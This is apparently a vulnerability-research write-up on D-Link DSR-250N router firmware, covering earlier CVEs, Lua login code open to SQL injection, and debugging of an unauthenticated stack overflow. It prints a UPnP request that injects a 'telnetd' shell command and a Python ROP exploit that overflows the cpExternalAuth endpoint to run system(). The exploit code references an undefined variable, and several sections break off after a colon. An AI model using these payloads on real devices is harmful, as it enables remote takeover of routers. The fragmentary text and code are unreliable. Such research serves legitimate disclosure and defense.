Following the DSR-250N request path.

Firmware analysis, historical vulnerabilities, and a closer look at the HTTP stack.

On this page

Research notes · D-Link DSR-250N vulnerability research

Introduction

Research objective: investigate an unauthenticated RCE path reportedly exploited in the wild, with memory corruption as the suspected vulnerability class.

Reconnaissance

Firmware information:
The firmware contains two filesystems and targets little-endian ARM.

Extraction on macOS was incomplete in this experiment.

The second filesystem was not relevant to this investigation. The 2020 firmware:
Checking binary protections:
The protection settings suggested that a buffer overflow could be worth investigating.

Reviewing historical vulnerabilities

CVE-2020-26567: remote denial of service in the DSR-250N

CVE-2020-26567 DSR-250N remote denial-of-service analysis — Anquanke The device dispatches requests through CGI, with the main processing logic in its HTTP components.
A denial-of-service vulnerability had previously existed here.
That issue provides denial of service, without an established RCE path. support.dlink.com - /resource/PRODUCTS/DSR-250/REVC/

CVE-2020-25757: Unauthenticated Remote Root Command Injection

D-Link Technical Support
An unauthenticated command injection vulnerability had existed in the Lua CGI layer. The advisory appeared to describe this location:
The issue was fixed in version 3.18:

CVE-2020-18568 upnp command injection

Disclosure of vulnerabilities in D-Link DSR-250 DSR-1000N router.md · GitHub
POC:
CODE
POST /upnp/control/WANIPConn1 HTTP/1.1
HOST: $control_host:$control_port
Content-Length: $content_length
Content-Type: text/xml; charset="utf-8"
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
%3C?xml version="1.0" ?%3E
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <s:Body>
  <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
   <NewExternalPort>7331</NewExternalPort>
   <NewProtocol>tcp<NewProtocol/>
   <NewInternalPort>1337<NewInternalPort/>
   <NewLeaseDuration><NewLeaseDuration/>
   <NewEnabled>1<NewEnabled/>
   <NewPortMappingDescription>hackedByC0ss4ck<NewPortMappingDescription/>
   <NewRemoteHost>0.0.0.0<NewRemoteHost/>
   <NewInternalClient>;telnetd -p 24;<NewInternalClient/>
  </u:AddPortMapping>
 </s:Body>
</s:Envelope>

The use of execve here appeared to prevent the proposed command injection.

Firmware analysis

With the initial information collected, the HTTP daemon became a candidate for an unauthenticated overflow. The firmware includes an SQLite database, and Lua implements much of the application logic. The HTTP middleware is:
lighttpd/1.4.55 Emulation attempts were unsuccessful in this environment. At this stage, UPnP was another suspected location for the overflow. got a mistake:
The login flow:
LUA
db.lua
-- Checks if row in table with given keyname and value exists.
-- Returns _ROWID_ if exists, false if not or error. 
function db.existsRow (tablename, keyname, keyvalue)
	-- query
    local cur = db.execute(string.format([[
		SELECT *, ROWID AS _ROWID_ FROM %s
		WHERE %s = '%s'
	]], tablename, keyname, keyvalue))

	-- check for rows
	local result = false
	if (cur) then
		local row = cur:fetch ({}, "a")
		cur:close()
		if (row ~= nil) then
			result = row["_ROWID_"]
		end
	end
	return result
end

--Execute the given query and return the resulting cursor and error message.
function db.execute (query)
	cur, errorStr = _DB_con:execute(query)
	errorStr = errorStr or ""
	if (errorStr ~= "") then
		util.appendDebugOut("DBExecute error message: " .. errorStr .. "<br>")
	end
	if (statusMessage == "" and errorStr ~= "") then
		util.appendDebugOut("statusMessage old = " .. statusMessage .. ", new = " .. errorStr .. "<br>")
		statusMessage = errorStr
	end
	return cur, errorStr
end

The relevant query construction is:

LUA
    local cur = db.execute(string.format([[
		SELECT *, ROWID AS _ROWID_ FROM %s
		WHERE %s = '%s'
	]], tablename, keyname, keyvalue))

if (not db.existsRow("Users", "UserName", inputTable["Users.UserName"])) then
LUA
db.execute("SELECT *, ROWID AS _ROWID_ FROM Users WHERE UserName = '%s'",Users.UserName)

Authentication first checks whether the user exists, retrieves the stored password, and compares a hash against the supplied password.

This appeared susceptible to SQL injection, but only a single statement could be executed; stacked statements were not supported.

After a successful login, loginlib generates a 32-character random cookie value. The database is checked for an existing cookie for that user: an existing record is updated, otherwise a new record is inserted.
Cookie validation follows this path:
This function validates access to some pages: The cookie string is escaped here, so this path did not provide the same injection opportunity.
The action field can dispatch to Lua files.
The command string must be shorter than 0xf characters.

An unauthenticated stack overflow

I uploaded gdbserver through the interface. Debugging showed that requests were handled in a new process.
This target was difficult to exploit in the debugger:
I investigated another candidate:
Debugging setup:
CODE
qemu-arm -L . -g 1234 ./bin/lua test.lua

gdb ./bin/lua -x x 

test.lua

LUA
package.path = "share/lua/5.1/?.lua;" .. package.path
package.cpath = "lib/lua/5.1/?.so;" .. package.cpath
require "teamf1lualib/captivePortal"

captivePortal.parseDuaResponse ('{"authentication": {"result": "my_username","clientMac": "my_password"}}')

debug:

CODE
set architecture arm
set endian little
b *0x0090E4
target remote :1234
b *0xff52a14c
b *0xff52a17c
b *0xff52a210
CODE
 ► 0xff52a17c <lua_duaResponseGet+324>    bl     #strcpy@plt <0xff529350>
        dest: 0xfffee358 ◂— 0x0
        src: 0x1b178 ◂— 0x7561227b ('{"au')

The following location appeared to be the relevant exploitation path:
Controlling the registers:
The buffer length is 0x628 on a 32-bit stack, giving padding of 0x628 + 4.
CODE
    0x8000     0xa000 r-xp     2000 0      /pfrm2.0/bin/cgi
   0x11000    0x12000 rwxp     1000 1000   /pfrm2.0/bin/cgi
   0x12000   0x200000 rwxp   1ee000 0      [heap]
0x40000000 0x40020000 r-xp    20000 0      /lib/ld-2.8.so
0x40020000 0x40026000 rwxp     6000 0      
0x40027000 0x40028000 r-xp     1000 1f000  /lib/ld-2.8.so
0x40028000 0x40029000 rwxp     1000 20000  /lib/ld-2.8.so
0x4002c000 0x400cf000 r-xp    a3000 0      /lib/libm-2.8.so
0x400cf000 0x400d6000 ---p     7000 a3000  /lib/libm-2.8.so
0x400d6000 0x400d7000 r-xp     1000 a2000  /lib/libm-2.8.so
0x400d7000 0x400d8000 rwxp     1000 a3000  /lib/libm-2.8.so
0x400d8000 0x400dc000 r-xp     4000 0      /lib/libdl-2.8.so
0x400dc000 0x400e3000 ---p     7000 4000   /lib/libdl-2.8.so
0x400e3000 0x400e4000 r-xp     1000 3000   /lib/libdl-2.8.so
0x400e4000 0x400e5000 rwxp     1000 4000   /lib/libdl-2.8.so
0x400e8000 0x4010c000 r-xp    24000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
0x4010c000 0x40113000 ---p     7000 24000  /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
0x40113000 0x40114000 rwxp     1000 23000  /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
0x40114000 0x40117000 r-xp     3000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
0x40117000 0x4011e000 ---p     7000 3000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
0x4011e000 0x4011f000 rwxp     1000 2000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
0x40120000 0x4012c000 r-xp     c000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
0x4012c000 0x40133000 ---p     7000 c000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
0x40133000 0x40134000 rwxp     1000 b000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
0x40134000 0x40135000 rwxp     1000 0      
0x40138000 0x4013e000 r-xp     6000 0      /lib/librt-2.8.so
0x4013e000 0x40145000 ---p     7000 6000   /lib/librt-2.8.so
0x40145000 0x40146000 r-xp     1000 5000   /lib/librt-2.8.so
0x40146000 0x40147000 rwxp     1000 6000   /lib/librt-2.8.so
0x40148000 0x4015d000 r-xp    15000 0      /lib/libpthread-2.8.so
0x4015d000 0x40164000 ---p     7000 15000  /lib/libpthread-2.8.so
0x40164000 0x40165000 r-xp     1000 14000  /lib/libpthread-2.8.so
0x40165000 0x40166000 rwxp     1000 15000  /lib/libpthread-2.8.so
0x40166000 0x40168000 rwxp     2000 0      
0x40168000 0x40174000 r-xp     c000 0      /lib/libgcc_s.so.1
0x40174000 0x4017b000 ---p     7000 c000   /lib/libgcc_s.so.1
0x4017b000 0x4017c000 rwxp     1000 b000   /lib/libgcc_s.so.1
0x4017c000 0x402b4000 r-xp   138000 0      /lib/libc-2.8.so
0x402b4000 0x402b6000 r-xp     2000 138000 /lib/libc-2.8.so
0x402b6000 0x402b7000 rwxp     1000 13a000 /lib/libc-2.8.so
0x402b7000 0x402ba000 rwxp     3000 0      
0x402bc000 0x402bf000 r-xp     3000 0      /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
0x402bf000 0x402c6000 ---p     7000 3000   /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
0x402c6000 0x402c7000 rwxp     1000 2000   /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
0x402c8000 0x402cc000 r-xp     4000 0      /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
0x402cc000 0x402d3000 ---p     7000 4000   /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
0x402d3000 0x402d4000 rwxp     1000 3000   /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
0x402d4000 0x40357000 r-xp    83000 0      /pfrm2.0/lib/libsqlite3.so.0.8.6
0x40357000 0x4035e000 ---p     7000 83000  /pfrm2.0/lib/libsqlite3.so.0.8.6
0x4035e000 0x40360000 rwxp     2000 82000  /pfrm2.0/lib/libsqlite3.so.0.8.6
0x40360000 0x40362000 r-xp     2000 0      /pfrm2.0/lib/lua/5.1/loginLib.so
0x40362000 0x40369000 ---p     7000 2000   /pfrm2.0/lib/lua/5.1/loginLib.so
0x40369000 0x4036a000 rwxp     1000 1000   /pfrm2.0/lib/lua/5.1/loginLib.so
0x4036c000 0x4053c000 r-xp   1d0000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-klite.so
0x4053c000 0x4055a000 rwxp    1e000 1d0000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-klite.so
0x4055a000 0x4055d000 rwxp     3000 0      
0x40560000 0x405b0000 r-xp    50000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-sslim.so
0x405b0000 0x405b6000 rwxp     6000 50000  /pfrm2.0/lib/libarmarm-none-linux-gnueabi-sslim.so
0x405b8000 0x405b9000 r-xp     1000 0      /pfrm2.0/lib/lua/5.1/loginLuaLib.so
0x405b9000 0x405c1000 ---p     8000 1000   /pfrm2.0/lib/lua/5.1/loginLuaLib.so
0x405c1000 0x405c2000 rwxp     1000 1000   /pfrm2.0/lib/lua/5.1/loginLuaLib.so
0x405c4000 0x405c5000 r-xp     1000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
0x405c5000 0x405cc000 ---p     7000 1000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
0x405cc000 0x405cd000 rwxp     1000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
0x405d0000 0x405d2000 r-xp     2000 0      /pfrm2.0/lib/lua/5.1/timeLib.so
0x405d2000 0x405d9000 ---p     7000 2000   /pfrm2.0/lib/lua/5.1/timeLib.so
0x405d9000 0x405da000 rwxp     1000 1000   /pfrm2.0/lib/lua/5.1/timeLib.so
0x405dc000 0x405de000 r-xp     2000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
0x405de000 0x405e5000 ---p     7000 2000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
0x405e5000 0x405e6000 rwxp     1000 1000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
0x405e8000 0x405eb000 r-xp     3000 0      /pfrm2.0/lib/lua/5.1/kliteLib.so
0x405eb000 0x405f2000 ---p     7000 3000   /pfrm2.0/lib/lua/5.1/kliteLib.so
0x405f2000 0x405f3000 rwxp     1000 2000   /pfrm2.0/lib/lua/5.1/kliteLib.so
0x405f4000 0x405f8000 r-xp     4000 0      /pfrm2.0/lib/lua/5.1/captivePortalLib.so
0x405f8000 0x405ff000 ---p     7000 4000   /pfrm2.0/lib/lua/5.1/captivePortalLib.so
0x405ff000 0x40600000 rwxp     1000 3000   /pfrm2.0/lib/lua/5.1/captivePortalLib.so
0x40600000 0x40616000 r-xp    16000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
0x40616000 0x4061e000 ---p     8000 16000  /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
0x4061e000 0x4061f000 rwxp     1000 16000  /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
0x40620000 0x40645000 r-xp    25000 0      /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
0x40645000 0x4064d000 ---p     8000 25000  /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
0x4064d000 0x4064e000 rwxp     1000 25000  /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
0x40650000 0x40658000 r-xp     8000 0      /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
0x40658000 0x4065f000 ---p     7000 8000   /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
0x4065f000 0x40660000 rwxp     1000 7000   /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
0x40660000 0x40701000 r-xp    a1000 0      /pfrm2.0/lib/libkrb5.so.3.3
0x40701000 0x40709000 ---p     8000 a1000  /pfrm2.0/lib/libkrb5.so.3.3
0x40709000 0x4070e000 rwxp     5000 a1000  /pfrm2.0/lib/libkrb5.so.3.3
0x40710000 0x4073b000 r-xp    2b000 0      /pfrm2.0/lib/libk5crypto.so.3.1
0x4073b000 0x40743000 ---p     8000 2b000  /pfrm2.0/lib/libk5crypto.so.3.1
0x40743000 0x40744000 rwxp     1000 2b000  /pfrm2.0/lib/libk5crypto.so.3.1
0x40744000 0x40745000 rwxp     1000 0      
0x40748000 0x4074a000 r-xp     2000 0      /pfrm2.0/lib/libcom_err.so.3.0
0x4074a000 0x40751000 ---p     7000 2000   /pfrm2.0/lib/libcom_err.so.3.0
0x40751000 0x40752000 rwxp     1000 1000   /pfrm2.0/lib/libcom_err.so.3.0
0x40754000 0x4075a000 r-xp     6000 0      /pfrm2.0/lib/libkrb5support.so.0.1
0x4075a000 0x40762000 ---p     8000 6000   /pfrm2.0/lib/libkrb5support.so.0.1
0x40762000 0x40763000 rwxp     1000 6000   /pfrm2.0/lib/libkrb5support.so.0.1
0x40764000 0x40768000 r-xp     4000 0      /pfrm2.0/lib/libspopc-0.10n.so
0x40768000 0x4076f000 ---p     7000 4000   /pfrm2.0/lib/libspopc-0.10n.so
0x4076f000 0x40770000 rwxp     1000 3000   /pfrm2.0/lib/libspopc-0.10n.so
0x40770000 0x4077a000 r-xp     a000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
0x4077a000 0x40781000 ---p     7000 a000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
0x40781000 0x40782000 rwxp     1000 9000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
0x40784000 0x40788000 r-xp     4000 0      /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
0x40788000 0x4078f000 ---p     7000 4000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
0x4078f000 0x40790000 rwxp     1000 3000   /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
0x40790000 0x407a1000 r-xp    11000 0      /lib/libresolv-2.8.so
0x407a1000 0x407a9000 ---p     8000 11000  /lib/libresolv-2.8.so
0x407a9000 0x407aa000 r-xp     1000 11000  /lib/libresolv-2.8.so
0x407aa000 0x407ab000 rwxp     1000 12000  /lib/libresolv-2.8.so
0x407ab000 0x407ad000 rwxp     2000 0      
0x407b0000 0x407b4000 r-xp     4000 0      /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
0x407b4000 0x407bb000 ---p     7000 4000   /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
0x407bb000 0x407bc000 rwxp     1000 3000   /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
0x407bc000 0x407bf000 r-xp     3000 0      /pfrm2.0/lib/lua/5.1/x509Lib.so
0x407bf000 0x407c7000 ---p     8000 3000   /pfrm2.0/lib/lua/5.1/x509Lib.so
0x407c7000 0x407c8000 rwxp     1000 3000   /pfrm2.0/lib/lua/5.1/x509Lib.so
0x407c8000 0x407ca000 r-xp     2000 0      /pfrm2.0/lib/lua/5.1/externalAuthLib.so
0x407ca000 0x407d1000 ---p     7000 2000   /pfrm2.0/lib/lua/5.1/externalAuthLib.so
0x407d1000 0x407d2000 rwxp     1000 1000   /pfrm2.0/lib/lua/5.1/externalAuthLib.so

CODE
export CONTENT_TYPE=application/x-www-form-urlencoded
export QUERY_STRING=action=cpExternalAuth
export CONTENT_LENGTH=2000
export REQUEST_URI=/platform.cgi?action=cpExternalAuth
Local experiment:
Enable core dumps:
CODE
ulimit -c unlimited
Remote experiment:
Candidate addresses:
The experiment reached the following result:
POC:
PYTHON
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from pwn import *
import urllib

context.log_level = "debug"
# Suppress only the single warning about unverified HTTPS request
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def send_post_request(url, payload, headers=None):
    if headers is None:
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
            "Connection": "close",
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": "https://192.168.10.1/platform.cgi",
            "Content-Length" : "2000",
            # Add other headers as needed
        }

    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.status_code == 200:
            return response.text  # Return response data if successful
        else:
            return "Request failed with status code"
    except requests.RequestException as e:
        return "Request failed:{}".format(e)


# Example usage:
host = "192.168.10.1"
endpoint = "/platform.cgi?action=cpExternalAuth"
url = "https://{}{}".format(host, endpoint)

#captivePortalLib_base = 0x405f4000 + 0x0174C
#test_addr = 0x0174C + captivePortalLib_base
#libc_addr = 0x4017c000

lib_pthread = 0x40148000
system_addr = lib_pthread + 0x10aa4

libarmarm_none_linux_gnueabi_lua = 0x400e8000
pop_r0 = 0x000205f0 + libarmarm_none_linux_gnueabi_lua
padding = '/bin/ls -al / > /tmp/32131;\n'.ljust((0x623), 'A')
commend_addr = 0x40024000
printf_addr = 0x47390 + libc_addr
log.info("[*] system_addr:" + hex(system_addr))
log.info("[*] pop_r0:" + hex(pop_r0))
log.info("[*] commend_addr :" + hex(commend_addr))
rop_shell = padding + p32(pop_r0) + p32(commend_addr + 0x12) + p32(system_addr)
payload = rop_shell
custom_payload = "externalCpResult=\"{}\"".format(payload)
payload = custom_payload.ljust(2000,'A')
result = send_post_request(url, payload)
print(result)

Loading a core dump

CODE
gdb-multiarch ./bin/cgi core-cgi-11-0-0-27063-1700123908